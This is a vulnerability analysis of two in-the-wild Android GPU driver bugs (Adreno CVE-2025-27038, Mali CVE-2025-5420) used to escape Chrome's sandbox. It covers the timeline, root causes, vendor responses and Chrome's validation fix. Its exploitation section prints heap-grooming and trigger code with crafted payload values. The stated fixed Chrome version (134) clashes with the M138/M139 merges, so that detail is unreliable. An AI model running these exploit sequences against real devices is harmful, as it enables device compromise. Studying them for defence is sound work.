Summary
Google’s Threat Analysis Group (TAG) recently discovered two critical vulnerabilities in Android GPU drivers being actively exploited in the wild. Both bugs enable Chrome sandbox escape when exploited from a compromised renderer. Clément Lecigne and Benoît Sevens reported the Adreno bug (CVE-2025-27038), while Clément Lecigne and Vlad Stolyarov reported the Mali bug (CVE-2025-5420).
The in-the-wild chains combined these GPU bugs with a Chrome renderer exploit (CVE-2025-5419) and a kernel privilege escalation in Sigqueue. Leading to total device compromise.
TAG immediately contacted Chrome security with an urgent question: can Chrome do anything to block these exploits? The concern was that driver patches from Qualcomm and ARM could take weeks or months to reach devices through OEM firmware updates.
The Adreno Situation
The Adreno vulnerability sits entirely within Qualcomm’s proprietary libGLESv2_adreno.so driver. Neither source code nor symbols. Chrome’s GPU team analyzed it and determined it’s a use-after-free: deleting GL buffers one-by-one while interleaving texture allocations of matching size causes the driver to retain a stale pointer. When glFenceSync is called, it dereferences that pointer into attacker-controlled memory.
Chrome’s command buffer validation was already correctly validating the API calls. Chrome security classified the issue as “External Dependency” and “not a vulnerability in Chrome” since the bug resided entirely in Qualcomm’s proprietary code. No Chrome-side workaround was delivered during the investigation, and the fix ultimately came from Qualcomm. Users remain vulnerable until Qualcomm driver updates reach their devices.
The Mali Situation
This one is different. ARM’s initial response classified it as “a functional bug rather than a security vulnerability,” noting that Chrome was calling glBufferData on a buffer bound to active transform feedback, which the OpenGL ES spec (section 2.15.2) defines as undefined behavior.
However, ARM agreed to make their driver more robust. More importantly, Chrome could implement a fix: adding validation to reject glBufferData and glBufferSubData calls on buffers bound to active transform feedback. The validation was rapidly developed and merged.
Timeline
Adreno (CVE-2025-27038)
- March 10, 2025: TAG reports the vulnerability, notes active exploitation
- March 10, 2025: Chrome security immediately loops in Android Security and Qualcomm
- March 11, 2025: Qualcomm confirms receipt (QPSIIR-1968)
- March 11-13, 2025: Chrome GPU team investigates workarounds, testing both validating and passthrough command decoders
- March 13, 2025: Analysis confirms the bug is entirely in the proprietary driver. No Chrome-side workaround delivered.
- April 2025: Qualcomm releases driver patches to OEMs
Mali (CVE-2025-5420)
- June 23, 2025: TAG reports the vulnerability to Chrome and ARM
- June 24, 2025: ARM acknowledges (ARMSEC-357)
- June 24, 2025: ARM responds: “The report highlights that the Mali GPU Driver does not reject an incorrect sequence of OpenGLES calls… we believe the cause of the vulnerability is the browser performing an incorrect sequence, and that a lack of protection against an incorrect sequence does not constitute a vulnerability in the Mali GPU Driver.”
- June 25, 2025: Chrome lands validation fix for the validating command decoder
- July 2, 2025: ANGLE fix lands for the passthrough command decoder
- July 9, 2025: Fixes approved for merge to M138 Stable and M139 Beta
- July 14, 2025: Embargo lifted after Chrome 134.0.6998.89 ships
Understanding the Attack Surface
Before diving into the vulnerabilities, it helps to understand Chrome’s GPU architecture and where these bugs fit in the graphics stack.
Chrome’s Multi-Process Architecture
Chrome isolates web content in renderer processes that are heavily sandboxed. A compromised renderer cannot directly access files, network sockets, or hardware. All graphics operations go through a separate GPU process that has elevated privileges: it loads vendor GPU drivers, accesses device nodes like /dev/kgsl-3d0 (Adreno) or /dev/mali0, and maps GPU memory.
When JavaScript calls WebGL APIs, those calls execute in the renderer but must cross an IPC boundary to reach the GPU process. The renderer cannot call the GPU driver directly. This isolation means a renderer exploit alone isn’t sufficient for full device compromise. Attackers need a second bug to escape into the GPU process, and often a third to reach the kernel. Both vulnerabilities covered here provide that GPU process escape.

The Command Buffer
Communication between renderer and GPU process happens through a shared memory command buffer. The renderer serializes OpenGL ES commands into this buffer and updates a “put” pointer via IPC. The GPU process reads commands from the buffer, validates each one, then calls the actual graphics driver.
This architecture makes rendering asynchronous. Expensive GL calls like glDrawArrays become cheap memory writes on the renderer side. The GPU process handles the real work on a separate thread. Critically, all validation happens in the GPU process before any command reaches the driver. The GPU process maintains its own shadow state of GL objects to verify that commands are valid for the current context.

Validating vs Passthrough Command Decoder
Chrome has two command decoder implementations:
Validating decoder (GLES2DecoderImpl): Chrome’s own OpenGL ES state machine. It maintains shadow copies of all GL state (buffers, textures, framebuffers) and validates every command against that tracked state. It can reject invalid command sequences before they reach the driver. The Mali fix (rejecting glBufferData on buffers bound to active transform feedback) was implemented here.
Passthrough decoder (GLES2DecoderPassthroughImpl): Routes commands through ANGLE with less Chrome-side validation. Used on platforms where ANGLE provides better driver compatibility.
Both decoders were affected by the Adreno bug because the vulnerability is in the driver itself, below Chrome’s validation layer.
ANGLE
ANGLE (Almost Native Graphics Layer Engine) translates OpenGL ES calls to platform-native graphics APIs. On Windows it translates to Direct3D; on macOS to Metal; on Linux to Vulkan or desktop OpenGL. On Android, ANGLE typically passes through to the native OpenGL ES driver, but still provides an additional validation and compatibility layer.
When Chrome uses the passthrough command decoder, commands flow through ANGLE before reaching the vendor driver.
Transform Feedback
Transform feedback is an OpenGL ES 3.0 feature that captures vertex shader output into buffer objects, bypassing rasterization. It’s used for GPU-side particle systems, physics simulations, and geometry processing where you want the GPU to transform vertices and store results without drawing anything. A buffer bound to GL_TRANSFORM_FEEDBACK_BUFFER receives vertex data during active transform feedback.
Pixel Buffer Objects
Pixel Buffer Objects (PBOs) are GPU-resident buffers used for asynchronous pixel data transfers. Normally, when you call glTexImage2D, the driver copies pixel data from a CPU pointer directly into texture memory. With PBOs, you first upload data to a buffer object, then reference that buffer during texture creation.
The key behavior exploited in the Adreno attack is when a PBO is bound to
GL_PIXEL_UNPACK_BUFFERand you callglTexImage2Dwithpixels=NULL, OpenGL ES reads texture data from the bound PBO instead of from CPU memory. This means every texture allocation using that pattern will be filled with whatever bytes are in the PBO.
For heap grooming, this is powerful. The attacker uploads a crafted payload to a PBO once, then every subsequentglTexImage2D(..., 0)call creates a texture filled with that payload. When the exploit frees driver metadata and immediately allocates textures of matching size, the freed memory gets reclaimed and filled with attacker-controlled bytes from the PBO.
CVE-2025-27038: Adreno Use-After-Free
OpenGL ES drivers typically defer command execution. When an application calls glDeleteBuffers, the driver doesn’t necessarily process the deletion immediately. Instead, it queues the operation in an internal command buffer. The actual work happens later, often when a synchronization point like glFenceSync or glFinish forces the driver to flush pending commands.
The Adreno driver maintains internal metadata structures for each buffer object. The root cause is a reference management bug in how the driver handles deferred buffer deletions:
glDeleteBuffersfrees a buffer’s metadata structure- The driver retains a stale reference to the freed memory
- A texture allocation of matching size reclaims the freed memory with attacker-controlled data
glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0)triggers the driver to traverse the stale reference- The driver interprets attacker-controlled bytes as valid pointers and dereferences them

The interleaved delete/allocate pattern (delete buffer, allocate texture, delete buffer, allocate texture…) ensures each freed metadata slot is immediately reclaimed with controlled texture data.
Both the validating command decoder and passthrough command decoder (which routes through ANGLE) were affected. The bug is entirely in Qualcomm’s driver layer.
CVE-2025-5420: Mali Transform Feedback Validation Bypass
The Mali vulnerability exploits a gap between OpenGL ES specification requirements and Chrome’s validation logic. OpenGL ES 3.0 specification section 2.15.2 states:
Buffers should not be bound or in use for both transform feedback and other
purposes in the GL. Specifically, if a buffer object is simultaneously bound to a
transform feedback buffer binding point and elsewhere in the GL, any writes to
or reads from the buffer generate undefined values.
When transform feedback is active, the Mali driver maintains an internal pointer to the buffer’s GPU memory where it will write vertex shader output. The root cause is a dangling pointer triggered by reallocating the buffer while the driver still holds a reference to the original memory:
- A buffer is bound to
GL_TRANSFORM_FEEDBACK_BUFFERandglBeginTransformFeedback()is called - The driver stores an internal pointer to the buffer’s GPU memory (e.g., address 0xA000)
glDrawArrays()executes, and the driver writes vertex shader output to 0xA000- While transform feedback is still active,
glBufferData()is called on the same buffer - The driver reallocates the buffer’s backing store to a new address (e.g., 0xB000), freeing or remapping the old memory at 0xA000
- On the next
glDrawArrays(), the driver writes transform feedback output to the stale pointer (0xA000), corrupting whatever now occupies that memory
Chrome’s validating command decoder had validation for buffers bound to both transform feedback and other binding points simultaneously, but it failed to block glBufferData on buffers bound only to GL_TRANSFORM_FEEDBACK_BUFFER during active feedback. This allowed the invalid sequence to reach the Mali driver.
ARM’s response confirmed the issue: “an instance is released early during the glBufferData() call” leading to “undefined values” when the driver continues writing to the old memory location. The in-the-wild exploit targeted 32-bit Chrome specifically, though the underlying vulnerability affects 64-bit builds as well.

The fix adds proper validation in Chrome’s buffer manager:
if (context_state->bound_transform_feedback &&
context_state->bound_transform_feedback->active() &&
!context_state->bound_transform_feedback->paused() &&
buffer->IsBoundForTransformFeedback()) {
ERRORSTATE_SET_GL_ERROR(error_state, GL_INVALID_OPERATION, "glBufferData",
"buffer is bound for transform feedback that is "
"currently active and not paused");
return;
}
Exploitation
Adreno Heap Grooming
The exploit frees driver-internal buffer structures and immediately reclaims that memory with controlled texture data.
Understanding the Allocation Sizes
Adreno maintains internal metadata structures to track GL objects. When a buffer is created via glGenBuffers and data is uploaded via glBufferData, the driver allocates a metadata structure.
For a 1D texture row with RGBA16F format (4 components, 2 bytes per component = 8 bytes per pixel):
- Width 0x25 (37 pixels): 37 * 8 = 296 bytes (0x128)
- Width 0x27 (39 pixels): 39 * 8 = 312 bytes (0x138)
These sizes, after alignment and allocator overhead, target the same allocation range as the buffer metadata structures freed by glDeleteBuffers. The exploit uses two different sizes (0x25 and 0x27) to increase the probability that one texture allocation reclaims the exact freed slot.
Heap Layout Preparation
The exploit first establishes a predictable heap layout by creating framebuffers, renderbuffers, and textures. These allocations consume memory from the driver’s heap, pushing the allocator into a state where subsequent allocations of specific sizes land at predictable offsets:
glGenFramebuffers(2, framebuffers); glGenRenderbuffers(2, renderbuffers); glGenTextures(2, textures); glBindTexture(GL_TEXTURE_2D, textures[0]); glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 40, 40); glBindTexture(GL_TEXTURE_2D, textures[1]); glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 43, 43);
The dimensions 40×40 (1600 pixels * 4 bytes = 6400 bytes) and 43×43 (1849 pixels * 4 bytes = 7396 bytes) create texture backing allocations that fill specific heap regions, leaving gaps of predictable sizes that the target buffer metadata structures will occupy.
Pixel Buffer Setup
A pixel unpack buffer is created with controlled data that will overwrite freed structures:
g_prepared_buffer = (char *)calloc(1, 0x400); *(int *)(g_prepared_buffer + 0x00) = 0x40082000; *(int *)(g_prepared_buffer + 0x04) = 0x40282000; *(int *)(g_prepared_buffer + 0x08) = 0x40282000; *(int *)(g_prepared_buffer + 0x0c) = 0x40282000; *(int *)(g_prepared_buffer + 0x28) = 0x33800000; *(int *)(g_prepared_buffer + 0x110) = 0x40282000; *(int *)(g_prepared_buffer + 0x114) = 0x40282000; *(int *)(g_prepared_buffer + 0x118) = 0x40282000; *(int *)(g_prepared_buffer + 0x11c) = 0x40282000;
The pixel buffer gets uploaded:
glGenBuffers(1, &buffer); glBindBuffer(GL_PIXEL_UNPACK_BUFFER, buffer); glBufferData(GL_PIXEL_UNPACK_BUFFER, 0x400, g_prepared_buffer, GL_DYNAMIC_DRAW);
Two textures are created with the target dimensions (0x25 and 0x27 width):
glGenTextures(2, textures2); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, textures2[0]); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x25, 1, 0, GL_RGBA, GL_FLOAT, 0); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, textures2[1]); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x27, 1, 0, GL_RGBA, GL_FLOAT, 0);
Creating the Vulnerable Buffers
Multiple buffers are created and populated. These are the objects whose internal metadata structures will be freed and reclaimed:
num_buffers = 10;
buffers = (GLuint *)calloc(1, 4 * num_buffers);
glGenBuffers(num_buffers, buffers);
for (i = 0; i < num_buffers; i++)
{
glBindBuffer(GL_ARRAY_BUFFER, buffers[i]);
glBufferData(GL_ARRAY_BUFFER, 16, &data, GL_DYNAMIC_DRAW);
}
Each glBufferData call causes the driver to allocate an internal metadata structure to track the buffer. When these buffers are deleted, these metadata structures are freed and become candidates for reclamation by subsequent allocations.
The Deletion and Reclamation Loop
The core of the exploit is the interleaved deletion and allocation loop:
for (i = 0; i < num_buffers; i++)
{
glDeleteBuffers(1, &buffers[i]);
glActiveTexture(GL_TEXTURE0);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x25, 1, 0, GL_RGBA, GL_FLOAT, 0);
glActiveTexture(GL_TEXTURE1);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x27, 1, 0, GL_RGBA, GL_FLOAT, 0);
}
For each iteration:
glDeleteBuffersfrees the buffer’s internal metadata structure- The
glTexImage2Dcalls may reclaim the freed memory with texture data
Notice that glTexImage2D is called with pixels = 0 (the last argument). When a GL_PIXEL_UNPACK_BUFFER is bound and the pixels pointer is NULL, OpenGL ES sources texture data from the bound buffer object rather than client memory. Since the PBO containing g_prepared_buffer is bound, every texture upload reads the crafted payload from that buffer.
This lets the attacker reliably fill any reclaimed allocation with controlled bytes. Using two nearby allocation sizes (0x25 and 0x27 widths) increases the probability that at least one upload reclaims the exact slot that was just freed.
Triggering the Use-After-Free
After the heap grooming loop, glFenceSync triggers the vulnerability:
glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0);
The driver dereferences the corrupted metadata, interpreting attacker-controlled bytes as pointers. In the observed crash, controlled data 0x4141414141414141 at offset 0x00 caused a crash when dereferencing address 0x0041414141414141 (sign-extended on 64-bit).
Mali Transform Feedback Exploitation
The Mali exploit triggers undefined behavior through an invalid API sequence:
glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buffers_3[0]); glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, ids[0]); glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 0x60, buf_256_cc, GL_DYNAMIC_DRAW); glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, buffers_3[0]); glUseProgram(program); glDrawArrays(0, 0, 3); glBeginTransformFeedback(0); glDrawArrays(0, 0, 3); glFinish(); glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 0x100, buf_256_cc, GL_DYNAMIC_DRAW);
The key sequence:
- Bind a buffer to
GL_TRANSFORM_FEEDBACK_BUFFER - Begin transform feedback with
glBeginTransformFeedback - Call
glBufferDataon the same buffer while transform feedback is active
Chrome’s validation layer failed to reject this sequence, allowing it to reach the Mali driver. The driver assumes the buffer backing memory remains valid during active transform feedback, but glBufferData reallocates or resizes the buffer’s GPU memory. The driver continues writing transform feedback output to the old (now freed or remapped) memory region, corrupting whatever now occupies that address range.
Why This Is a Sandbox Escape
Both vulnerabilities require an initial renderer compromise. From there, the attacker executes the malicious WebGL command sequence to gain code execution in the GPU process and it is a unsandboxed process in Android.
The GPU process is a valuable target: it loads vendor driver code, interfaces with privileged device nodes, and is a common stepping stone toward kernel exploitation.
For driver bugs like Adreno’s, Chrome cannot patch directly. Browser-side mitigations are limited to workarounds while awaiting OEM driver updates.
Affected Versions
CVE-2025-27038 (Adreno)
All Android devices with Qualcomm Adreno GPU and vulnerable driver versions of libGLESv2_adreno.so. Chrome can be fully updated and still be affected until the device receives a driver update from the OEM.
CVE-2025-5420 (Mali)
Chrome versions prior to 134.0.6998.89 on Android devices with ARM Mali GPU.
Vendor Response
Qualcomm
Qualcomm acknowledged the vulnerability and released updated drivers to OEMs addressing CVE-2025-27038. However, the fix requires OEM firmware updates to reach end users, creating a significant window of exposure. Devices remain at risk until their manufacturers push updated system images containing the patched driver.
ARM
ARM’s initial position was that this constituted a functional bug rather than a security vulnerability, noting that the Mali driver was receiving an invalid command sequence that Chrome should have rejected. However, ARM indicated they would update their driver to be “more robust in this particular area.” The primary mitigation came through Chrome’s validation layer rather than a driver update.
Google Chrome
Google released Chrome 134.0.6998.89 with validation fixes preventing the Mali exploitation path. The fix was applied to both the validating command decoder (direct fix in Chromium) and the passthrough command decoder (fix in ANGLE). Backports were merged to M138 Stable and M139 Beta branches.
Final Thoughts
WebGL is a cross-vendor, cross-driver interface into very large and complex codebases. That’s the common theme here.
Driver memory safety bugs (Adreno) turn a renderer compromise into GPU-process code execution even if Chrome’s own validation is strict. Validation gaps (Mali) turn specification-defined “undefined behavior” into an exploit primitive by letting hostile sequences reach the driver.